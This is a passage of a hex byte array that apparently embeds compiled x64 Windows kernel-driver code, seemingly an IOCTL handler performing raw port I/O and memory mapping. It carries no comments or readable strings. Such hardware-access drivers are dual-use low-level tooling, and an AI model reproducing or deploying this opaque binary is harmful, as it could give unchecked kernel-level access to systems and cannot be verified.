0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, + 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, + 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, + 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, + 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, + 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, + 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, + 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, + 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, + 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, + 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, + 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xCA, 0x0E, + 0x00, 0x00, 0xE9, 0xBE, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x6C, 0x0E, + 0x50, 0xC3, 0x0F, 0x84, 0x13, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, 0x70, + 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0xE1, 0x00, 0x00, 0x00, 0x41, 0x81, 0xF8, + 0x00, 0x20, 0x50, 0xC3, 0x0F, 0x84, 0xC1, 0x00, 0x00, 0x00, 0x41, 0x81, + 0xF8, 0x04, 0x20, 0x50, 0xC3, 0x74, 0x6B, 0x41, 0x81, 0xF8, 0x08, 0x20, + 0x50, 0xC3, 0x74, 0x20, 0x41, 0x81, 0xF8, 0x80, 0x25, 0x50, 0xC3, 0x0F, + 0x85, 0xFB, 0x01, 0x00, 0x00, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, + 0x8B, 0xC6, 0xE8, 0xA9, 0x07, 0x00, 0x00, 0xE9, 0x65, 0x01, 0x00, 0x00, + 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x4C, 0x19, 0x00, 0x00, + 0x44, 0x8B, 0xC6, 0x41, 0x8B, 0xD4, 0xE8, 0xC9, 0x12, 0x00, 0x00, 0x44, + 0x3B, 0xE6, 0x72, 0x18, 0x49, 0x8B, 0x17, 0x48, 0x83, 0xC9, 0xFF, 0xFF, + 0x15, 0xEF, 0x24, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x56, 0x19, + 0x00, 0x00, 0xEB, 0x51, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, + 0x78, 0x19, 0x00, 0x00, 0xEB, 0x43, 0x44, 0x8B, 0xC9, 0x45, 0x8B, 0xC4, + 0x48, 0x8B, 0xCD, 0x49, 0x8B, 0xD7, 0xE8, 0xF5, 0x0A, 0x00, 0x00, 0x8B, + 0xD8, 0x85, 0xC0, 0x78, 0x20, 0xBE, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8D, + 0x0D, 0x73, 0x18, 0x00, 0x00, 0x8B, 0xD6, 0xE8, 0x74, 0x12, 0x00, 0x00, + 0x48, 0x8D, 0x0D, 0x85, 0x18, 0x00, 0x00, 0x48, 0x89, 0x77, 0x38, 0xEB, + 0x0C, 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8D, 0x0D, 0xA3, 0x18, 0x00, + 0x00, 0xE8, 0x56, 0x12, 0x00, 0x00, 0xE9, 0x59, 0x01, 0x00, 0x00, 0x45, + 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, 0xD7, 0x02, 0x00, + 0x00, 0xE9, 0xC3, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x3F, 0x19, 0x00, + 0x00, 0xE8, 0x32, 0x12, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, + 0x48, 0x8B, 0xCD, 0xE8, 0x7C, 0x07, 0x00, 0x00, 0x8B, 0xD8, 0x48, 0x8D, + 0x0D, 0x43, 0x19, 0x00, 0x00, 0xEB, 0xBE, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0xE9, 0x8E, 0x00, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x4A, 0x19, 0x00, 0x00, 0xE8, 0xFD, 0x11, 0x00, 0x00, 0x44, + 0x8B, 0x4E, 0x18, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, + 0xE8, 0xEB, 0xFA, 0xFF, 0xFF, 0x8B, 0xD8, 0x48, 0x8D, 0x0D, 0x4A, 0x19, + 0x00, 0x00, 0xEB, 0x85, 0xB8, 0x04, 0x64, 0x50, 0xC3, 0x44, 0x3B, 0xC0, + 0x0F, 0x87, 0xFD, 0x01, 0x00, 0x00, 0x74, 0x4A, 0x41, 0x81, 0xF8, 0x04, + 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDB, 0x01, 0x00, 0x00, 0x41, 0x81, 0xF8, + 0x08, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xAF, 0x01, 0x00, 0x00, 0x41, 0x81, + 0xF8, 0x0C, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0x8F, 0x01, 0x00, 0x00, 0x41, + 0x81, 0xF8, 0x40, 0x28, 0x50, 0xC3, 0x0F, 0x84, 0xDA, 0x00, 0x00, 0x00, + 0x41, 0x81, 0xF8, 0x44, 0x28, 0x50, 0xC3, 0x74, 0x1C, 0x41, 0x81, 0xF8, + 0x00, 0x64, 0x50, 0xC3, 0x0F, 0x85, 0x8E, 0x00, 0x00, 0x00, 0x48, 0x8B, + 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x7B, 0x02, 0x00, 0x00, 0x8B, 0xD8, 0xEB, + 0x7F, 0x41, 0x83, 0xFC, 0x10, 0x0F, 0x85, 0xA4, 0x00, 0x00, 0x00, 0x41, + 0x83, 0x67, 0x04, 0x00, 0x49, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0xEE, 0x48, + 0x85, 0xF6, 0x74, 0x64, 0x49, 0x8B, 0x07, 0x48, 0x39, 0x46, 0x18, 0x74, + 0x0D, 0x48, 0x8B, 0xEE, 0x48, 0x8B, 0x36, 0x48, 0x85, 0xF6, 0x75, 0xEF, + 0xEB, 0x4E, 0x41, 0x8B, 0x47, 0x08, 0x39, 0x46, 0x20, 0x75, 0x74, 0x48, + 0x8B, 0x56, 0x08, 0x48, 0x8B, 0x4E, 0x18, 0xFF, 0x15, 0xE7, 0x22, 0x00, + 0x00, 0x48, 0x8B, 0x4E, 0x08, 0xFF, 0x15, 0x35, 0x23, 0x00, 0x00, 0x8B, + 0x56, 0x20, 0x48, 0x8B, 0x4E, 0x10, 0xFF, 0x15, 0xE0, 0x22, 0x00, 0x00, + 0x48, 0x8B, 0x06, 0x49, 0x3B, 0x76, 0x18, 0x75, 0x06, 0x49, 0x89, 0x46, + 0x18, 0xEB, 0x04, 0x48, 0x89, 0x45, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCE, + 0xFF, 0x15, 0x9A, 0x22, 0x00, 0x00, 0x33, 0xDB, 0x33, 0xD2, 0x89, 0x5F, + 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xD2, 0x22, 0x00, 0x00, 0x48, 0x8B, + 0x6C, 0x24, 0x58, 0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x50, 0x48, 0x8B, + 0x74, 0x24, 0x60, 0x48, 0x8B, 0x7C, 0x24, 0x68, 0x48, 0x83, 0xC4, 0x30, + 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5C, 0xC3, 0xBB, 0x0D, 0x00, 0x00, 0xC0, + 0xEB, 0xCA, 0x41, 0x83, 0xFC, 0x10, 0x75, 0xF3, 0x41, 0x3B, 0xCC, 0x75, + 0xEE, 0x41, 0x8B, 0x6F, 0x08, 0x45, 0x33, 0xC0, 0x41, 0x8B, 0x0F, 0x8B, + 0xD5, 0xFF, 0x15, 0x65, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF0, 0x48, 0x85, + 0xC0, 0x74, 0x79, 0x48, 0x83, 0x64, 0x24, 0x20, 0x00, 0x45, 0x33, 0xC9, + 0x45, 0x33, 0xC0, 0x8B, 0xD5, 0x48, 0x8B, 0xC8, 0xFF, 0x15, 0x66, 0x22, + 0x00, 0x00, 0x4C, 0x8B, 0xE0, 0x48, 0x85, 0xC0, 0x74, 0x4E, 0x48, 0x8B, + 0xC8, 0xFF, 0x15, 0x1D, 0x22, 0x00, 0x00, 0xB2, 0x01, 0x49, 0x8B, 0xCC, + 0xFF, 0x15, 0x1A, 0x22, 0x00, 0x00, 0xBA, 0x28, 0x00, 0x00, 0x00, 0x33, + 0xC9, 0x48, 0x8B, 0xD8, 0xFF, 0x15, 0xF2, 0x21, 0x00, 0x00, 0x4C, 0x89, + 0x60, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48, 0x89, 0x58, 0x18, 0x89, 0x68, + 0x20, 0x49, 0x8B, 0x4E, 0x18, 0x48, 0x89, 0x08, 0x49, 0x89, 0x46, 0x18, + 0x49, 0x89, 0x1F, 0x48, 0xC7, 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0xE9, + 0x36, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0xD5, 0x48, 0x8B, 0xCE, 0xFF, 0x15, + 0xEC, 0x21, 0x00, 0x00, 0xBB, 0x9A, 0x00, 0x00, 0xC0, 0xE9, 0x22, 0xFF, + 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, 0xC6, 0xE8, + 0xA4, 0xF9, 0xFF, 0xFF, 0xE9, 0x8C, 0xFE, 0xFF, 0xFF, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x49, 0x8B, 0xCF, 0xE8, 0x26, 0x0B, 0x00, 0x00, 0xF6, 0xD8, + 0xBB, 0x0D, 0x00, 0x00, 0xC0, 0x1B, 0xC9, 0xF7, 0xD1, 0x23, 0xD9, 0xE9, + 0xF0, 0xFE, 0xFF, 0xFF, 0x45, 0x8B, 0xC8, 0x49, 0x8B, 0xCE, 0x4C, 0x8B, + 0xC6, 0xE8, 0x2E, 0xF9, 0xFF, 0xFF, 0xE9, 0x5A, 0xFE, 0xFF, 0xFF, 0x41, + 0x81, 0xF8, 0x08, 0x64, 0x50, 0xC3, 0x0F, 0x84, 0x42, 0xFE, 0xFF, 0xFF, + 0x41, 0x8D, 0x80, 0xC0, 0x5B, 0xAF, 0x3C, 0xA9, 0xF3, 0xFF, 0xFF, 0xFF, + 0x75, 0x19, 0x41, 0x81, 0xF8, 0x4C, 0xA4, 0x50, 0xC3, 0x74, 0x10, 0x48, + 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0xE6, 0x02, 0x00, 0x00, 0xE9, 0x26, + 0xFE, 0xFF, 0xFF, 0x41, 0x81, 0xF8, 0x4C, 0xE4, 0x50, 0xC3, 0x74, 0x1A, + 0x41, 0x81, 0xF8, 0x54, 0xE4, 0x50, 0xC3, 0x0F, 0x85, 0x93, 0xFE, 0xFF, + 0xFF, 0x48, 0x8B, 0xCD, 0xE8, 0xF3, 0x01, 0x00, 0x00, 0xE9, 0x03, 0xFE, + 0xFF, 0xFF, 0x48, 0x8B, 0xD6, 0x48, 0x8B, 0xCF, 0xE8, 0x37, 0x01, 0x00, + 0x00, 0xE9, 0xF3, 0xFD, 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, + 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8B, 0xEA, 0x41, + 0x8B, 0x70, 0x10, 0x45, 0x33, 0xC0, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0x4F, + 0x08, 0xFF, 0x15, 0xFD, 0x20, 0x00, 0x00, 0x44, 0x8B, 0x47, 0x14, 0x48, + 0x8B, 0xD0, 0x48, 0x63, 0x4F, 0x18, 0x48, 0x8B, 0xD8, 0xE8, 0xA2, 0x10, + 0x00, 0x00, 0x8B, 0x57, 0x14, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xE6, 0x20, + 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, 0x48, 0x89, 0x75, + 0x38, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, + 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x10, 0x55, 0x56, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8B, 0xE9, 0x44, 0x8B, 0x7A, 0x10, 0x48, + 0x8D, 0x0D, 0x66, 0x16, 0x00, 0x00, 0x44, 0x8B, 0x72, 0x08, 0x41, 0x8B, + 0xF8, 0xE8, 0xD2, 0x0E, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x64, 0x50, 0xC3, + 0xB9, 0x08, 0x64, 0x50, 0xC3, 0x41, 0x3B, 0xF8, 0x74, 0x1A, 0x3B, 0xF9, + 0x74, 0x0F, 0x0F, 0xB7, 0x03, 0xBE, 0x01, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x54, 0x24, 0x54, 0xEB, 0x14, 0xBE, 0x04, 0x00, 0x00, 0x00, 0xEB, 0x05, + 0xBE, 0x02, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x44, 0x24, 0x60, 0x0F, 0xB7, + 0x13, 0x41, 0x83, 0xFF, 0x04, 0x75, 0x41, 0x44, 0x3B, 0xF6, 0x72, 0x3C, + 0x81, 0xFF, 0x00, 0x64, 0x50, 0xC3, 0x74, 0x15, 0x41, 0x3B, 0xF8, 0x74, + 0x09, 0x3B, 0xF9, 0x75, 0x21, 0xED, 0x89, 0x03, 0xEB, 0x1C, 0x66, 0xED, + 0x66, 0x89, 0x03, 0xEB, 0x15, 0x0F, 0xB7, 0xD0, 0x48, 0x8D, 0x0D, 0x01, + 0x16, 0x00, 0x00, 0xEC, 0x0F, 0xB6, 0xD0, 0x88, 0x13, 0xE8, 0x5E, 0x0E, + 0x00, 0x00, 0x8B, 0xC6, 0x48, 0x89, 0x45, 0x38, 0x33, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x58, 0x48, 0x83, + 0xC4, 0x20, 0x41, 0x5F, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, 0x24, 0x10, 0x48, 0x89, + 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x59, 0x18, + 0x48, 0x8B, 0xF1, 0x8B, 0x7A, 0x10, 0x8B, 0x6A, 0x08, 0x0F, 0xB7, 0x03, + 0x66, 0x89, 0x05, 0xDB, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x02, 0x66, + 0x89, 0x05, 0xCE, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x66, 0x89, + 0x05, 0xC1, 0x2F, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x06, 0x66, 0x89, 0x05, + 0xB4, 0x2F, 0x00, 0x00, 0xE8, 0x63, 0xEF, 0xFF, 0xFF, 0x0F, 0xB7, 0x05, + 0xAE, 0x2F, 0x00, 0x00, 0x66, 0x89, 0x03, 0x0F, 0xB7, 0x05, 0xA2, 0x2F, + 0x00, 0x00, 0x66, 0x89, 0x43, 0x02, 0x0F, 0xB7, 0x05, 0x95, 0x2F, 0x00, + 0x00, 0x66, 0x89, 0x43, 0x04, 0x0F, 0xB7, 0x05, 0x88, 0x2F, 0x00, 0x00, + 0x66, 0x89, 0x43, 0x06, 0x83, 0xFF, 0x08, 0x75, 0x10, 0x3B, 0xEF, 0x72, + 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x08, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, + 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, + 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x83, 0xC4, + 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x6C, + 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xEC, 0x20, + 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8B, 0xF2, 0x48, 0x8B, 0x82, 0xB8, 0x00, + 0x00, 0x00, 0x8B, 0x78, 0x10, 0x8B, 0x68, 0x08, 0x8B, 0x03, 0x89, 0x05, + 0x10, 0x2F, 0x00, 0x00, 0x8B, 0x43, 0x04, 0x89, 0x05, 0x03, 0x2F, 0x00, + 0x00, 0x8B, 0x43, 0x08, 0x89, 0x05, 0xF6, 0x2E, 0x00, 0x00, 0x8B, 0x43, + 0x0C, 0x89, 0x05, 0xE9, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x10, 0x89, 0x05, + 0xDC, 0x2E, 0x00, 0x00, 0x8B, 0x43, 0x14, 0x89, 0x05, 0xCF, 0x2E, 0x00, + 0x00, 0xE8, 0x0C, 0xEF, 0xFF, 0xFF, 0x8B, 0x05, 0xD8, 0x2E, 0x00, 0x00, + 0x89, 0x03, 0x8B, 0x05, 0xCC, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x04, 0x8B, + 0x05, 0xBF, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x08, 0x8B, 0x05, 0xB2, 0x2E, + 0x00, 0x00, 0x89, 0x43, 0x0C, 0x8B, 0x05, 0xA5, 0x2E, 0x00, 0x00, 0x89, + 0x43, 0x10, 0x8B, 0x05, 0x98, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x14, 0x8B, + 0x05, 0x8B, 0x2E, 0x00, 0x00, 0x89, 0x43, 0x18, 0x83, 0xFF, 0x1C, 0x75, + 0x10, 0x3B, 0xEF, 0x72, 0x0C, 0x48, 0xC7, 0x46, 0x38, 0x1C, 0x00, 0x00, + 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x6C, 0x24, 0x38, 0x48, 0x8B, 0x74, 0x24, + 0x40, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x10, 0x48, 0x89, 0x6C, 0x24, 0x20, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, + 0xEC, 0x20, 0x44, 0x8B, 0x72, 0x10, 0x41, 0x8B, 0xF0, 0x48, 0x83, 0x61, + 0x38, 0x00, 0x48, 0x8B, 0x59, 0x18, 0x48, 0x8D, 0x0D, 0x4F, 0x14, 0x00, + 0x00, 0xE8, 0x92, 0x0C, 0x00, 0x00, 0x41, 0xB8, 0x44, 0xA4, 0x50, 0xC3, + 0xBA, 0x48, 0xA4, 0x50, 0xC3, 0x41, 0x3B, 0xF0, 0x74, 0x1A, 0x3B, 0xF2, + 0x74, 0x0F, 0x0F, 0xB7, 0x2B, 0xB9, 0x05, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x7C, 0x24, 0x44, 0xEB, 0x14, 0xB9, 0x08, 0x00, 0x00, 0x00, 0xEB, 0x05, + 0xB9, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, 0x6C, 0x24, 0x50, 0x0F, 0xB7, + 0x3B, 0x4C, 0x3B, 0xF1, 0x73, 0x07, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0xEB, + 0x75, 0x81, 0xFE, 0x40, 0xA4, 0x50, 0xC3, 0x74, 0x44, 0x41, 0x3B, 0xF0, + 0x74, 0x20, 0x3B, 0xF2, 0x75, 0x56, 0x44, 0x8B, 0x43, 0x04, 0x48, 0x8D, + 0x0D, 0x0B, 0x14, 0x00, 0x00, 0x0F, 0xB7, 0xD7, 0xE8, 0x2B, 0x0C, 0x00, + 0x00, 0x8B, 0x43, 0x04, 0x0F, 0xB7, 0xD7, 0xEF, 0xEB, 0x1D, 0x44, 0x0F, + 0xB7, 0x43, 0x04, 0x48, 0x8D, 0x0D, 0xEE, 0x13, 0x00, 0x00, 0x0F, 0xB7, + 0xD7, 0xE8, 0x0E, 0x0C, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x04, 0x0F, 0xB7, + 0xD7, 0x66, 0xEF, 0xEB, 0x1B, 0x44, 0x0F, 0xB6, 0x43, 0x04, 0x48, 0x8D, + 0x0D, 0xCF, 0x13, 0x00, 0x00, 0x0F, 0xB7, 0xD5, 0xE8, 0xEF, 0x0B, 0x00, + 0x00, 0x8A, 0x43, 0x04, 0x0F, 0xB7, 0xD5, 0xEE, 0x48, 0x8D, 0x0D, 0xC9, + 0x13, 0x00, 0x00, 0xE8, 0xDC, 0x0B, 0x00, 0x00, 0x33, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x48, 0x48, 0x8B, 0x6C, 0x24, 0x58, 0x48, 0x83, 0xC4, 0x20, + 0x41, 0x5E, 0x5F, 0x5E, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x41, 0x08, 0x48, 0x8B, + 0x78, 0x40, 0x48, 0x8B, 0x5F, 0x18, 0x48, 0x85, 0xDB, 0x74, 0x39, 0x48, + 0x8B, 0x03, 0x48, 0x89, 0x47, 0x18, 0x48, 0x8B, 0x53, 0x08, 0x48, 0x8B, + 0x4B, 0x18, 0xFF, 0x15, 0x4C, 0x1D, 0x00, 0x00, 0x48, 0x8B, 0x4B, 0x08, + 0xFF, 0x15, 0x9A, 0x1D, 0x00, 0x00, 0x8B, 0x53, 0x20, 0x48, 0x8B, 0x4B, + 0x10, 0xFF, 0x15, 0x45, 0x1D, 0x00, 0x00, 0x33, 0xD2, 0x48, 0x8B, 0xCB, + 0xFF, 0x15, 0x12, 0x1D, 0x00, 0x00, 0xEB, 0xBE, 0x48, 0x8D, 0x15, 0x41, + 0x11, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0xBE, 0x1D, + 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x20, 0xFF, 0x15, 0x5B, 0x1D, 0x00, + 0x00, 0x48, 0x8B, 0x4F, 0x10, 0xFF, 0x15, 0x49, 0x1D, 0x00, 0x00, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x8B, + 0x40, 0x08, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0x5A, 0x18, 0x41, 0x39, 0x40, + 0x10, 0x75, 0x67, 0x83, 0xF8, 0x10, 0x75, 0x62, 0x33, 0xD2, 0x48, 0x89, + 0x57, 0x38, 0x8B, 0x43, 0x04, 0x89, 0x05, 0xC9, 0x2C, 0x00, 0x00, 0x89, + 0x15, 0xBB, 0x2C, 0x00, 0x00, 0x89, 0x15, 0xB9, 0x2C, 0x00, 0x00, 0x8B, + 0x0B, 0x85, 0xC9, 0x74, 0x1E, 0x83, 0xF9, 0x01, 0x75, 0x3C, 0xE8, 0x2F, + 0xED, 0xFF, 0xFF, 0x8B, 0x05, 0xA3, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x08, + 0x8B, 0x05, 0x96, 0x2C, 0x00, 0x00, 0x89, 0x43, 0x0C, 0xEB, 0x17, 0x8B, + 0x43, 0x08, 0x89, 0x05, 0x8C, 0x2C, 0x00, 0x00, 0x8B, 0x43, 0x0C, 0x89, + 0x05, 0x7F, 0x2C, 0x00, 0x00, 0xE8, 0x21, 0xED, 0xFF, 0xFF, 0x48, 0xC7, + 0x47, 0x38, 0x10, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, + 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, + 0x5F, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, + 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8D, 0x0D, 0xFA, 0x15, + 0x00, 0x00, 0x49, 0x8B, 0xD8, 0x48, 0x8B, 0xFA, 0xE8, 0x87, 0x0A, 0x00, + 0x00, 0x83, 0x7B, 0x10, 0x0C, 0x0F, 0x85, 0xA3, 0x00, 0x00, 0x00, 0xBE, + 0x01, 0x00, 0x00, 0x00, 0x39, 0x73, 0x08, 0x0F, 0x85, 0x95, 0x00, 0x00, + 0x00, 0x48, 0x8B, 0x5F, 0x18, 0x0F, 0xB7, 0x4B, 0x06, 0x0F, 0xB7, 0x43, + 0x08, 0x44, 0x0F, 0xB7, 0x4B, 0x04, 0x44, 0x0F, 0xB7, 0x43, 0x02, 0x0F, + 0xB7, 0x13, 0x89, 0x44, 0x24, 0x28, 0x89, 0x4C, 0x24, 0x20, 0x48, 0x8D, + 0x0D, 0xEF, 0x15, 0x00, 0x00, 0xE8, 0x42, 0x0A, 0x00, 0x00, 0x0F, 0xB7, + 0x03, 0x66, 0x85, 0xC0, 0x75, 0x22, 0x0F, 0xB7, 0x43, 0x0A, 0x44, 0x0F, + 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, 0xB7, 0x53, 0x04, + 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, 0xE8, 0xFA, 0x07, + 0x00, 0x00, 0xEB, 0x25, 0x66, 0x3B, 0xC6, 0x75, 0x22, 0x0F, 0xB7, 0x43, + 0x0A, 0x44, 0x0F, 0xB7, 0x4B, 0x08, 0x44, 0x0F, 0xB7, 0x43, 0x06, 0x0F, + 0xB7, 0x53, 0x04, 0x0F, 0xB7, 0x4B, 0x02, 0x66, 0x89, 0x44, 0x24, 0x20, + 0xE8, 0xCF, 0x08, 0x00, 0x00, 0x88, 0x03, 0x0F, 0xB6, 0x13, 0x48, 0x8D, + 0x0D, 0xDF, 0x15, 0x00, 0x00, 0xE8, 0xE2, 0x09, 0x00, 0x00, 0x33, 0xC0, + 0x48, 0x89, 0x77, 0x38, 0xEB, 0x11, 0x48, 0x8D, 0x0D, 0x5B, 0x15, 0x00, + 0x00, 0xE8, 0xCE, 0x09, 0x00, 0x00, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, + 0x8B, 0x5C, 0x24, 0x40, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, + 0x30, 0x5F, 0xC3, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, 0xEC, 0x48, 0x83, 0xEC, + 0x60, 0x48, 0x8B, 0x05, 0x1C, 0x2B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, + 0x89, 0x45, 0xF8, 0x4C, 0x8B, 0xF1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, 0x0D, + 0x60, 0x12, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, 0x80, 0x09, 0x00, 0x00, + 0x8B, 0x5F, 0x10, 0x48, 0x8D, 0x0D, 0x6E, 0x12, 0x00, 0x00, 0x8B, 0x7F, + 0x08, 0xE8, 0x6E, 0x09, 0x00, 0x00, 0x83, 0xFB, 0x34, 0x0F, 0x85, 0x9B, + 0x01, 0x00, 0x00, 0x3B, 0xFB, 0x0F, 0x85, 0x93, 0x01, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x7E, 0x12, 0x00, 0x00, 0xE8, 0x51, 0x09, 0x00, 0x00, 0x48, + 0x8D, 0x0D, 0x82, 0x12, 0x00, 0x00, 0xE8, 0x45, 0x09, 0x00, 0x00, 